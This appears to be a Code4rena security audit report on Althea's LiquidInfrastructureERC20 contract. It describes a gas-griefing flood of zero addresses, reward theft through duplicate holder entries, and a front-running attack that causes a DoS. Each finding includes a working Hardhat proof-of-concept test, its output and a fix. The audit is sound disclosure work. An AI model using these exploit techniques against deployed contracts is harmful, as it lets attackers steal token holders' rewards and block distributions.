Althea Liquid Infrastructure - TheSavageTeddy's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L164-L179 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198-L237

Vulnerability details

Griefing attack forces calls to distribute and transferring tokens to pay extra gas

When tokens are transferred, _beforeTokenTransfer() hook is called to track current holders of the LiquidInfrastructureERC20 token using an array holders. However, nothing is preventing the zero address from being added, which can be done by burning tokens.

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        require(!LockedForDistribution, "distribution in progress");
        if (!(to == address(0))) {
            require(
                isApprovedHolder(to),
                "receiver not approved to hold the token"
            );
        }
        if (from == address(0) || to == address(0)) {
            _beforeMintOrBurn();
        }
        bool exists = (this.balanceOf(to) != 0);
        if (!exists) {
            holders.push(to);
        }
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146

Additionally, _afterTokenTransfer() does not usually remove the zero address from holders as it only checks from's balance. from can be the zero address upon minting, but the removal of the element is implemented in such a way that if there are duplicate addresses, only around half of the addresses will be removed. This is because upon finding the target element, it replaces it with last element, then removes last element. If the last element was the target element, only 1 instance of the target element will be removed.

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        bool stillHolding = (this.balanceOf(from) != 0);
        if (!stillHolding) {
            for (uint i = 0; i < holders.length; i++) {
                if (holders[i] == from) {
                    // Remove the element at i by copying the last one into its place and removing the last element
                    holders[i] = holders[holders.length - 1];
                    holders.pop();
                }
            }
        }
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L164-L179

If burn() is called multiple times, the zero address will be present multiple times in holders, and calls to mint() will not remove all instances of the zero address as explained above.

This results in an attacker able to burn tokens and flood holders with zero addresses, which increases the amount of gas used when distributing tokens, as it loops over the array:

    function distribute(uint256 numDistributions) public nonReentrant {
...
        uint i;
        for (i = nextDistributionRecipient; i < limit; i++) {
            address recipient = holders[i];
            if (isApprovedHolder(recipient)) {
                uint256[] memory receipts = new uint256[](
                    distributableERC20s.length
                );
                for (uint j = 0; j < distributableERC20s.length; j++) {
                    IERC20 toDistribute = IERC20(distributableERC20s[j]);
                    uint256 entitlement = erc20EntitlementPerUnit[j] *
                        this.balanceOf(recipient);
                    if (toDistribute.transfer(recipient, entitlement)) {
                        receipts[j] = entitlement;
                    }
                }

                emit Distribution(recipient, distributableERC20s, receipts);
            }
        }
...
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198-L237

Impact

During distribution, an attacker can burn tokens to force additional gas to be payed to distribute() tokens.

As rewards are distributed in the same order as addresses in the holders, holders with their position after the flood of zero addresses will be required to pay extensive gas to obtain their entitled tokens. This creates less incentive for users to obtain their tokens, as they must pay additional gas to process all the zero addresses.

Additionally, if holders is flooded with enough zero addresses, it can cause a temporary DoS on distributeToAllHolders() and token transfers (in _afterTokenTransfer) due to the unbounded array size.

Proof of Concept

The following code demonstrates the increase in gas fees after holders is flooded with 100 zero addresses by burning tokens. Note in this example an account holder1 is used to burn tokens, whereas if a contract was approved, it can burn tokens and flood holders in a more cost effective manner.

Add this test to liquidERC20.ts:

  it("Griefing Attack POC", async function () {
    const { infraERC20, erc20Owner, holder1 } = await liquidErc20Fixture();
    let tx, receipt, gasUsed
    // approve and mint 10 tokens for holder1
    await infraERC20.connect(erc20Owner).approveHolder(holder1)
    await infraERC20.connect(erc20Owner).mint(holder1, 10n * 10n**18n)
    // distribute rewards to holder1
    await mine(500);
    tx = await infraERC20.distributeToAllHolders()
    receipt = await tx.wait()
    gasUsed = receipt!.gasUsed
    console.log(`Initial gas used: ${gasUsed}`)

    // attacker burns tokens 100 times, flooding `holders` with 100 zero addresses
    let amount = 100
    for (let i=0;i<amount;i++){
      await infraERC20.connect(holder1).burn(1)
    }

    // check how much gas is used if we call `distributeToAllHolders`
    await mine(500);
    tx = await infraERC20.distributeToAllHolders()
    receipt = await tx.wait()
    gasUsed = receipt!.gasUsed
    console.log(`Gas used after flooding with ${amount} zero addresses: ${gasUsed}`)
  });

Output after running npx hardhat test --grep Griefing:

...
Initial gas used: 151676
Gas used after flooding with 100 zero addresses: 411595
...

Tools Used

VSCode, Hardhat

Recommended Mitigation Steps

Prevent holders from containing the zero address by adding a check such in _beforeTokenTransfer():

-       if (!exists) {
+       if (!exists && address(to) != address(0)) {
            holders.push(to);
        }

Or use a pull over push approach for users to withdraw their token rewards instead of getting distributed it.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198-L237

Vulnerability details

Duplicate addresses in holders array leads to stealing rewards and DoS

Upon all transfers, the _beforeTokenTransfer() hook is called which updates the holders array to keep track of addresses currently holding LiquidInfrastructureERC20 tokens. This is later used to distribute reward tokens to each address in the array.

The function will add the to address to holders if it currently has no tokens, as it assumes after the transfer the address will have tokens. However, it does not take into account the possibility of transferring 0 tokens, where if an account has no tokens, it will add the to address to holders. If another transfer to the same address is called, it will again add the address to holders as it is holding no tokens, resulting in duplicate addresses. If that second transfer also had an amount of 0 tokens, even more of the same address can be present in the array, and so on.

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
...
        bool exists = (this.balanceOf(to) != 0);
        if (!exists) {
            holders.push(to);
        }
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146

When distributing reward tokens, the duplicate addresses in holders will result in the same reward being transferred multiple times to the same address. As many duplicate addresses can be achieved by simply transferring 0 tokens multiple times, this leads to all subsequent rewards being stolen.

    function distribute(uint256 numDistributions) public nonReentrant {
...
        uint i;
        for (i = nextDistributionRecipient; i < limit; i++) {
            address recipient = holders[i];
            if (isApprovedHolder(recipient)) {
                uint256[] memory receipts = new uint256[](
                    distributableERC20s.length
                );
                for (uint j = 0; j < distributableERC20s.length; j++) {
                    IERC20 toDistribute = IERC20(distributableERC20s[j]);
                    uint256 entitlement = erc20EntitlementPerUnit[j] *
                        this.balanceOf(recipient);
                    if (toDistribute.transfer(recipient, entitlement)) {
                        receipts[j] = entitlement;
                    }
                }

                emit Distribution(recipient, distributableERC20s, receipts);
            }
        }
...
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198-L237

Impact

Rewards of subsequent holders can be stolen, and distribute() can be DoSed. Any holders with their position in the array after the duplicate addresses will get their reward tokens stolen. For example, if the array is [a,b,b,c], where b is the attacker, the attacker can simply call distribute(3), sending the first 3 addresses their rewards. Due to their duplicate address, they receive double the intended reward, stealing c's rewards.

c's rewards are cannot be withdrawn as they have been stolen by the attacker, and an attempt to call distribute() will revert as the contract lacks funds to fulfil the reward payment. This results in an almost permanent DoS of distribute(), preventing rewards from being sent. Since token transfers are blocked during distribution, this also prevents any LiquidInfrastructureERC20 token transfers as distribution never ends.

The DoS can be resolved by the owner removing the reward token by calling setDistributableERC20s(), locking the reward tokens in the contract, resulting in a loss of funds. Alternatively, the reward token can be sent to the contract to fulfil c's rewards, however the attacker can just queue up more payments for themselves (such as [a,b,b,b,b,b,b,c]), making it infeasibly expensive to fulfil all the reward payments.

Proof of Concept

The below code demonstrates stealing funds and DoS. Add this test to liquidERC20.ts:

  it("Stealing rewards and DoS POC", async function () {
    const { infraERC20, erc20Owner, testERC20A, nftAccount1, holder2, holder3, holder4 } = await liquidErc20Fixture();
    // Setting up nfts, reward tokens, holders
    let attacker1 = holder2
    let attacker2 = holder3
    let victim1 = holder4
    const holders = [attacker1, attacker2, victim1];
    for (let holder of holders) {
      const address = holder.address;
      await expect(infraERC20.approveHolder(address)).to.not.be.reverted;
    }
    const nftOwners = [nftAccount1]
    let nft1 = await deployLiquidNFT(nftAccount1)
    const erc20s: ERC20[] = [testERC20A]
      nft1.setThresholds(
        erc20s,
        erc20s.map(() => 0)
      )
    await transferNftToErc20AndManage(infraERC20, nft1, nftAccount1);
    await mine(1);
    nft1 = nft1.connect(erc20Owner);
    const rewardAmount1 = 10000;
    await testERC20A.transfer(await nft1.getAddress(), rewardAmount1);
    expect(await testERC20A.balanceOf(await nft1.getAddress())).to.equal(
      rewardAmount1
    );
    await infraERC20.withdrawFromAllManagedNFTs()

    // Mint 2 InfraERC20 tokens for attacker
    await infraERC20.mint(attacker1.address, 2)

    // Transfer 0 tokens to get 2 duplicate `attacker2` addresses in `holders`
    await infraERC20.connect(attacker1).transfer(attacker2.address, 0)
    await infraERC20.connect(attacker1).transfer(attacker2.address, 0)

    // Transfer 1 token to `attacker2` so it will recieve rewards
    // There should now be 3 instances of attacker2's address in `holders`
    await infraERC20.connect(attacker1).transfer(attacker2.address, 1)

    // Mint 2 tokens for the victim. Important this is after the duplicate
    // addresses in `holders`, so their rewards can get stolen
    await infraERC20.mint(victim1.address, 2)

    // holders should now look like
    // [attacker1, attacker2, attacker2, attacker2, victim1]
    
    console.log("===BEFORE DISTRIBUTION===")
    console.log("Total reward tokens available:", await testERC20A.balanceOf(infraERC20))
    console.log("balance of attacker1 - infraERC20:", await infraERC20.balanceOf(attacker1.address),
                "testERC20A:", await testERC20A.balanceOf(attacker1.address))
    console.log("balance of attacker2 - infraERC20:", await infraERC20.balanceOf(attacker2.address),
                "testERC20A:", await testERC20A.balanceOf(attacker2.address))
    console.log("balance of victim1 - infraERC20:", await infraERC20.balanceOf(victim1.address),
                "testERC20A:", await testERC20A.balanceOf(victim1.address))

    // Distribute all rewards except for victim1
    await mine(500);
    await infraERC20.distribute(4)

    // Even though attacker1 and attacker2 held same amount of 
    // infraERC20 tokens, attacker2 gets 3x as many reward tokens
    console.log("===AFTER DISTRIBUTION===")
    console.log("Total reward tokens available:", await testERC20A.balanceOf(infraERC20))
    console.log("balance of attacker1 - infraERC20:", await infraERC20.balanceOf(attacker1.address),
                "testERC20A:", await testERC20A.balanceOf(attacker1.address))
    console.log("balance of attacker2 - infraERC20:", await infraERC20.balanceOf(attacker2.address),
                "testERC20A:", await testERC20A.balanceOf(attacker2.address))
    console.log("balance of victim1 - infraERC20:", await infraERC20.balanceOf(victim1.address),
                "testERC20A:", await testERC20A.balanceOf(victim1.address))
    
    // victim1 is unable to recieve their rewards, as infraERC20
    // doesn't have enough reward tokens to distribute, causing DoS
    await expect(infraERC20.distribute(1)).to.be.rejectedWith("ERC20: transfer amount exceeds balance")
    await expect(infraERC20.distributeToAllHolders()).to.be.rejectedWith("ERC20: transfer amount exceeds balance")
  });

Output after running npx hardhat test --grep Stealing:

...
===BEFORE DISTRIBUTION===
Total reward tokens available: 10000n
balance of attacker1 - infraERC20: 1n testERC20A: 0n
balance of attacker2 - infraERC20: 1n testERC20A: 0n
balance of victim1 - infraERC20: 2n testERC20A: 0n
===AFTER DISTRIBUTION===
Total reward tokens available: 0n
balance of attacker1 - infraERC20: 1n testERC20A: 2500n
balance of attacker2 - infraERC20: 1n testERC20A: 7500n
balance of victim1 - infraERC20: 2n testERC20A: 0n
...

Tools Used

VSCode, Hardhat

Recommended Mitigation Steps

Add a check in _beforeTokenTransfer() to not push the from address to holders if the amount is 0.

-       if (!exists) {
+       if (!exists && amount != 0) {
            holders.push(to);
        }

Consider adding a check in distribute() to mark addresses as reward claimed, to avoid duplicate reward distributions.

Alternatively, use a pull over push pattern to avoid errors in distribute() causing DoS.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L441-L445 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198-L237 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L257-L281

Vulnerability details

setDistributableERC20s() can be frontrun to distribute incorrect token rewards and DoS distribute()

When the owner sets the reward tokens array distributableERC20s by calling setDistributableERC20s(), an attacker can frontrun the call with distribute() which can cause incorrect reward amounts to be distributed and distribute() can be DoSed.

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
        distributableERC20s = _distributableERC20s;
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L441-L445

When a call to distribute() is triggered, it will call _beginDistribution to begin distribution, and calculate reward amounts for each token, pushing it to the erc20EntitlementPerUnit array. Afterwards, distribution is locked in with LockedForDistribution = true; and subsequent calls to distribute will not call _beginDistribution.

    function distribute(uint256 numDistributions) public nonReentrant {
        require(numDistributions > 0, "must process at least 1 distribution");
        if (!LockedForDistribution) {
            require(
                _isPastMinDistributionPeriod(),
                "MinDistributionPeriod not met"
            );
            _beginDistribution();
        }
...
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198-L206

    function _beginDistribution() internal {
        require(
            !LockedForDistribution,
            "cannot begin distribution when already locked"
        );
        LockedForDistribution = true;

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L257-L262

However, if the owner decides to update distributableERC20s during distribution, then incorrect rewards can be calculated due to erc20EntitlementPerUnit not being updated, causing too little or too many rewards to be distributed, and the whole distribute() function possibly DoSed.

        uint256 supply = this.totalSupply();
        for (uint i = 0; i < distributableERC20s.length; i++) {
            uint256 balance = IERC20(distributableERC20s[i]).balanceOf(
                address(this)
            );
            uint256 entitlement = balance / supply;
            erc20EntitlementPerUnit.push(entitlement);
        }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L270-L277

An attacker can look out for calls to setDistributableERC20s() and frontrun the transaction by calling distribute() with a higher gas fee, causing it to get executed first, and the owner's call to setDistributableERC20s() to be executed during distribution.

If distributableERC20s consists of [a,b], then the owner decides to update it to [b], an attacker can frontrun and call distribute() to be executed before the owner's call, causing the rewards per unit for token a to be used for b as erc20EntitlementPerUnit is not updated.

If the contract's balance of a is greater than b, too many rewards will be distributed, and either distribute() reverts as the contract lacks token b to distribute, or the current recipient steals reward tokens from the next recipient, eventually leading to DoS when the contract runs out of token b. If the contract's balance of a is less than b, then too little rewards will be distributed.

In another scenario, if [a,b] is extended to [a,b,c] after distribution starts, then distribute will be DoSed as erc20EntitlementPerUnit[j] becomes out of bounds and reverts.

    function distribute(uint256 numDistributions) public nonReentrant {
...
                for (uint j = 0; j < distributableERC20s.length; j++) {
                    IERC20 toDistribute = IERC20(distributableERC20s[j]);
                    uint256 entitlement = erc20EntitlementPerUnit[j] *
                        this.balanceOf(recipient);
                    if (toDistribute.transfer(recipient, entitlement)) {
                        receipts[j] = entitlement;
                    }
                }
...
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198-L237

Impact

An attacker can frontrun to cause incorrect rewards to be distributed, possibily stealing rewards, and the distribute function can be DoSed.

Proof of Concept

The below code demonstrates too many rewards being distributed, therefore stealing rewards of subsequent holders, and also distribute being DoSed two different ways. Add this test to liquidERC20.ts:

  it("Frontrunning to cause incorrect rewards calculation and DoS", async function () {
    const { infraERC20, erc20Owner, testERC20A, testERC20B, testERC20C, nftAccount1, holder2, holder3, holder4 } = await liquidErc20Fixture();
    // Setting up nfts, reward tokens, holders
    const holders = [holder2, holder3, holder4];
    for (let holder of holders) {
      const address = holder.address;
      await expect(infraERC20.approveHolder(address)).to.not.be.reverted;
    }
    const nftOwners = [nftAccount1]
    let nft1 = await deployLiquidNFT(nftAccount1)
    const erc20s: ERC20[] = [testERC20A, testERC20B]
      nft1.setThresholds(
        erc20s,
        erc20s.map(() => 0)
      )
    await transferNftToErc20AndManage(infraERC20, nft1, nftAccount1);
    await mine(1);
    nft1 = nft1.connect(erc20Owner);
    
    // Contract has more reward tokens A than B
    // A: 20000 tokens
    // B: 10000 tokens
    const rewardAmount1 = 20000;
    await testERC20A.transfer(await nft1.getAddress(), rewardAmount1);
    expect(await testERC20A.balanceOf(await nft1.getAddress())).to.equal(
      rewardAmount1
    );
    const rewardAmount2 = 10000;
    await testERC20B.transfer(await nft1.getAddress(), rewardAmount2);
    expect(await testERC20B.balanceOf(await nft1.getAddress())).to.equal(
      rewardAmount2
    );
    await infraERC20.withdrawFromAllManagedNFTs()

    // distributableERC20s is initially [A,B]
    await infraERC20.connect(erc20Owner).setDistributableERC20s(
      [testERC20A, testERC20B]
    )
    console.log("Total reward token testERC20A available:", await testERC20A.balanceOf(infraERC20))
    console.log("Total reward token testERC20B available:", await testERC20B.balanceOf(infraERC20))
    
    // all holders have same amount of infraERC20 tokens, so *should*
    // recieve the same amount of reward tokens
    await infraERC20.mint(holder2, 1)
    await infraERC20.mint(holder3, 1)
    await infraERC20.mint(holder4, 1)
    expect(await infraERC20.balanceOf(holder2)).to.eq(await infraERC20.balanceOf(holder3))
    expect(await infraERC20.balanceOf(holder3)).to.eq(await infraERC20.balanceOf(holder4))
    
    console.log("===BEFORE DISTRIBUTION===")
    console.log("Balance of holder2 - testERC20A:", await testERC20A.balanceOf(holder2),
    "testERC20B", await testERC20B.balanceOf(holder2))
    console.log("Balance of holder3 - testERC20A:", await testERC20A.balanceOf(holder3),
    "testERC20B", await testERC20B.balanceOf(holder3))
    console.log("Balance of holder4 - testERC20A:", await testERC20A.balanceOf(holder4),
    "testERC20B", await testERC20B.balanceOf(holder4))

    // distribute reward tokens
    await mine(500)
    // attacker frontruns owner's call to `setDistributableERC20s()`
    // with `distribute(1)` to begin distribution
    // this calls `_beginDistribution` which sets `erc20EntitlementPerUnit`
    // holder2 receives their correct rewards for A and B
    await infraERC20.distribute(1)
    // owner updates `distributableERC20s` to only [B]
    await infraERC20.connect(erc20Owner).setDistributableERC20s(
      [testERC20B]
    )
    // holder3 recieves twice as many rewards as expected,
    // stealing the reward tokens of holder4
    await expect(infraERC20.distribute(1)).to.not.be.rejected
    // now the contract lacks token B rewards to distribute,
    // causing `distribute` to be DoSed
    await expect(infraERC20.distribute(1)).to.be.rejectedWith("ERC20: transfer amount exceeds balance")
    await expect(infraERC20.distributeToAllHolders()).to.be.rejectedWith("ERC20: transfer amount exceeds balance")

    console.log("===AFTER DISTRIBUTION===")
    console.log("Balance of holder2 - testERC20A:", await testERC20A.balanceOf(holder2.address),
    "testERC20B", await testERC20B.balanceOf(holder2.address))
    console.log("Balance of holder3 - testERC20A:", await testERC20A.balanceOf(holder3.address),
    "testERC20B", await testERC20B.balanceOf(holder3.address))
    console.log("Balance of holder4 - testERC20A:", await testERC20A.balanceOf(holder4),
    "testERC20B", await testERC20B.balanceOf(holder4))

    // another DoS scenario: owner updates `distributableERC20s` 
    // to [A,B,C] during distribution
    // reset `distributableERC20s` back to [A,B]
    // need to also give contract enough reward tokens for holder4,
    // otherwise it will revert with 'ERC20: transfer amount exceeds balance'
    // because of the previous interactions
    await infraERC20.connect(erc20Owner).setDistributableERC20s(
      [testERC20A, testERC20B]
    )
    await testERC20B.transfer(infraERC20, 10000)
    await infraERC20.distributeToAllHolders();
    
    // new distribution period
    await mine(500);
    // attacker frontruns owner's call to 
    // `setDistributableERC20s` with `distribute(1)`
    await infraERC20.connect(holder2).distribute(1)
    await infraERC20.connect(erc20Owner).setDistributableERC20s(
      [testERC20A, testERC20B, testERC20C]
    )
    // distribute is DoSed due to array out of bounds
    await expect(infraERC20.distribute(1)).to.be.rejectedWith("VM Exception while processing transaction: reverted with panic code 0x32 (Array accessed at an out-of-bounds or negative index)")
    await expect(infraERC20.distributeToAllHolders()).to.be.rejectedWith("VM Exception while processing transaction: reverted with panic code 0x32 (Array accessed at an out-of-bounds or negative index)")
  });

Output after running npx hardhat test --grep Frontrunning:

  LiquidInfrastructureERC20 tests
Total reward token testERC20A available: 20000n
Total reward token testERC20B available: 10000n
===BEFORE DISTRIBUTION===
Balance of holder2 - testERC20A: 0n testERC20B 0n
Balance of holder3 - testERC20A: 0n testERC20B 0n
Balance of holder4 - testERC20A: 0n testERC20B 0n
===AFTER DISTRIBUTION===
Balance of holder2 - testERC20A: 6666n testERC20B 3333n
Balance of holder3 - testERC20A: 0n testERC20B 6666n
Balance of holder4 - testERC20A: 0n testERC20B 0n
    ✔ Frontrunning to cause incorrect rewards calculation and DoS (1177ms)

Tools Used

VSCode, Hardhat

Recommended Mitigation Steps

Do not allow distributableERC20s to be set during distribution, by adding this check in setDistributableERC20s():

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
+       require(!LockedForDistribution, "cannot set distributableERC20s during distribution");
        distributableERC20s = _distributableERC20s;
    }

Or update erc20EntitlementPerUnit when distributableERC20s is set. Or use a mapping mapping(address => uint256) to track rewards per unit for each token.

Assessed type

Other

QA Report

Table of Contents

01 - Call parent hook when overriding hooks

OpenZeppelin recommends that hooks should call their parent hook to ensure all hooks in inheritance tree are called.

Affected code (2 instances):

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        require(!LockedForDistribution, "distribution in progress");
        if (!(to == address(0))) {
            require(
                isApprovedHolder(to),
                "receiver not approved to hold the token"
            );
        }
        if (from == address(0) || to == address(0)) {
            _beforeMintOrBurn();
        }
        bool exists = (this.balanceOf(to) != 0);
        if (!exists) {
            holders.push(to);
        }
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        bool stillHolding = (this.balanceOf(from) != 0);
        if (!stillHolding) {
            for (uint i = 0; i < holders.length; i++) {
                if (holders[i] == from) {
                    // Remove the element at i by copying the last one into its place and removing the last element
                    holders[i] = holders[holders.length - 1];
                    holders.pop();
                }
            }
        }
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L164-L179

02 - _afterTokenTransfer() does not remove duplicate elements properly

After a token transfer, holders which keeps track of addresses with a non-zero token balance is updated to remove the address from if it has a balance of 0. However, if holders contain duplicate addresses, it will not remove all addresses due to the way it's implemented. For example, if the addresses are [a,b,b], then upon reaching the first b (index 1), it will set index 1 to the last element which is also b, then delete the last element. This results in b still being present in the array.

Although duplicate addresses should not occur due to the hooks, it is possible to get duplicate addresses by calling mint() multiple times to get multiple zero addresses, or by transferring 0 tokens.

Recommended fix is to either ensure no duplicate addresses may occur, or to use a different implementation of removing array elements.

Affected code (1 instance):

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        bool stillHolding = (this.balanceOf(from) != 0);
        if (!stillHolding) {
            for (uint i = 0; i < holders.length; i++) {
                if (holders[i] == from) {
                    // Remove the element at i by copying the last one into its place and removing the last element
                    holders[i] = holders[holders.length - 1];
                    holders.pop();
                }
            }
        }
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L164-L179

03 - Use a pull over push to avoid gas fees and potential DoS

Currently reward tokens are distributed by the contract, which uses an unbounded loop which can fail if the transaction exceeds the block gas limit. The transaction can also fail if a transfer() call fails, which will cause a temporary DoS until that token is removed by the owner.

transfer() can fail in many ways, including if an approved holder is blacklisted from, for example, USDC, which the sponsor mentioned they will be most likely using.

Additionally, the caller to distribute() pays forward all gas required, which reduces their incentive to collect the rewards if they must pay for other's reward token transfer gas fees as well.

To fix this, a pull over push pattern should be used for users to withdraw their tokens, rather than being distributed it.

Affected code (1 instance):

    function distribute(uint256 numDistributions) public nonReentrant {
        require(numDistributions > 0, "must process at least 1 distribution");
        if (!LockedForDistribution) {
            require(
                _isPastMinDistributionPeriod(),
                "MinDistributionPeriod not met"
            );
            _beginDistribution();
        }

        uint256 limit = Math.min(
            nextDistributionRecipient + numDistributions,
            holders.length
        );

        uint i;
        for (i = nextDistributionRecipient; i < limit; i++) {
            address recipient = holders[i];
            if (isApprovedHolder(recipient)) {
                uint256[] memory receipts = new uint256[](
                    distributableERC20s.length
                );
                for (uint j = 0; j < distributableERC20s.length; j++) {
                    IERC20 toDistribute = IERC20(distributableERC20s[j]);
                    uint256 entitlement = erc20EntitlementPerUnit[j] *
                        this.balanceOf(recipient);
                    if (toDistribute.transfer(recipient, entitlement)) {
                        receipts[j] = entitlement;
                    }
                }

                emit Distribution(recipient, distributableERC20s, receipts);
            }
        }
        nextDistributionRecipient = i;

        if (nextDistributionRecipient == holders.length) {
            _endDistribution();
        }
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198-L237

04 - releaseManagedNFT()'s check for 'unable to find NFT' does not work

There is a require(true) statement in releaseManagedNFT() which has no effect on the code, and the comment above and error string suggests that it should throw if the NFT specified was not found in ManagedNFTs.

Consider removing this, or implementing this with a proper check (suggestion below).

Affected code (1 instance):

    function releaseManagedNFT(
        address nftContract,
        address to
    ) public onlyOwner nonReentrant {
...
        // Remove the released NFT from the collection
        for (uint i = 0; i < ManagedNFTs.length; i++) {
            address managed = ManagedNFTs[i];
            if (managed == nftContract) {
                // Delete by copying in the last element and then pop the end
                ManagedNFTs[i] = ManagedNFTs[ManagedNFTs.length - 1];
                ManagedNFTs.pop();
                break;
            }
        }
        // By this point the NFT should have been found and removed from ManagedNFTs
        require(true, "unable to find released NFT in ManagedNFTs");
...
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L413-L434

Suggested change:

    function releaseManagedNFT(
        address nftContract,
        address to
    ) public onlyOwner nonReentrant {
...
        // Remove the released NFT from the collection
+       bool found;
        for (uint i = 0; i < ManagedNFTs.length; i++) {
            address managed = ManagedNFTs[i];
            if (managed == nftContract) {
                // Delete by copying in the last element and then pop the end
                ManagedNFTs[i] = ManagedNFTs[ManagedNFTs.length - 1];
                ManagedNFTs.pop();
+               found = true;
                break;
            }
        }
        // By this point the NFT should have been found and removed from ManagedNFTs
-       require(true, "unable to find released NFT in ManagedNFTs");
+       require(found, "unable to find released NFT in ManagedNFTs");
...
    }

05 - Ensure consistent notices for approve/disapprove functions

The approveHolder function has an @notice about how the call can fail. The same notice should be added for disapproveHolder, where the call can fail if the holder is not approved.

Affected code (1 instance):

    /**
     * Adds `holder` to the list of approved token holders. This is necessary before `holder` may receive any of the underlying ERC20.
     * @notice this call will fail if `holder` is already approved. Call isApprovedHolder() first to avoid mistakes.
     *
     * @param holder the account to add to the allowlist
     */
    function approveHolder(address holder) public onlyOwner {
        require(!isApprovedHolder(holder), "holder already approved");
        HolderAllowlist[holder] = true;
    }

    /**
     * Marks `holder` as NOT approved to hold the token, preventing them from receiving any more of the underlying ERC20.
     *
     * @param holder the account to add to the allowlist
     */
    function disapproveHolder(address holder) public onlyOwner {
        require(isApprovedHolder(holder), "holder not approved");
        HolderAllowlist[holder] = false;
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L100-L119

06 - Owner can add duplicate NFTs to ManagedNFTs

ManagedNFTs should be a unique array of NFTs managed by the LiquidInfrastructureERC20 contract. However, there is no check in place preventing the owner from accidentally adding the same NFT. This results in duplicate events emitted for the same NFT, and also only 1 instance of the NFT removed when releaseManagedNFT() is called, which may confuse off-chain programs which track these events.

Consider adding a check to make sure the NFT is not already added.

Affected code (1 instance):

    function addManagedNFT(address nftContract) public onlyOwner {
        LiquidInfrastructureNFT nft = LiquidInfrastructureNFT(nftContract);
        address nftOwner = nft.ownerOf(nft.AccountId());
        require(
            nftOwner == address(this),
            "this contract does not own the new ManagedNFT"
        );
        ManagedNFTs.push(nftContract);
        emit AddManagedNFT(nftContract);
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L394-L403

Suggested change:

    function addManagedNFT(address nftContract) public onlyOwner {
        LiquidInfrastructureNFT nft = LiquidInfrastructureNFT(nftContract);
        address nftOwner = nft.ownerOf(nft.AccountId());
        require(
            nftOwner == address(this),
            "this contract does not own the new ManagedNFT"
        );
+       uint length = ManagedNFTs.length;
+       for (uint i; i<length; i++){
+           if (nftContract == ManagedNFTs[i]){
+               revert("NFT is already in ManagedNFTs");
+           }
+       }
        ManagedNFTs.push(nftContract);
        emit AddManagedNFT(nftContract);
    }

07 - No need to inherit from ERC20 when contract already is ERC20Burnable

ERC20Burnable already inherits from ERC20, thus there is no need for LiquidInfrastructureERC20 to inherit from ERC20 again, as it already is ERC20Burnable.

Affected code (1 instance):

contract LiquidInfrastructureERC20 is
    ERC20,
    ERC20Burnable,
    Ownable,
    ERC721Holder,
    ReentrancyGuard
{

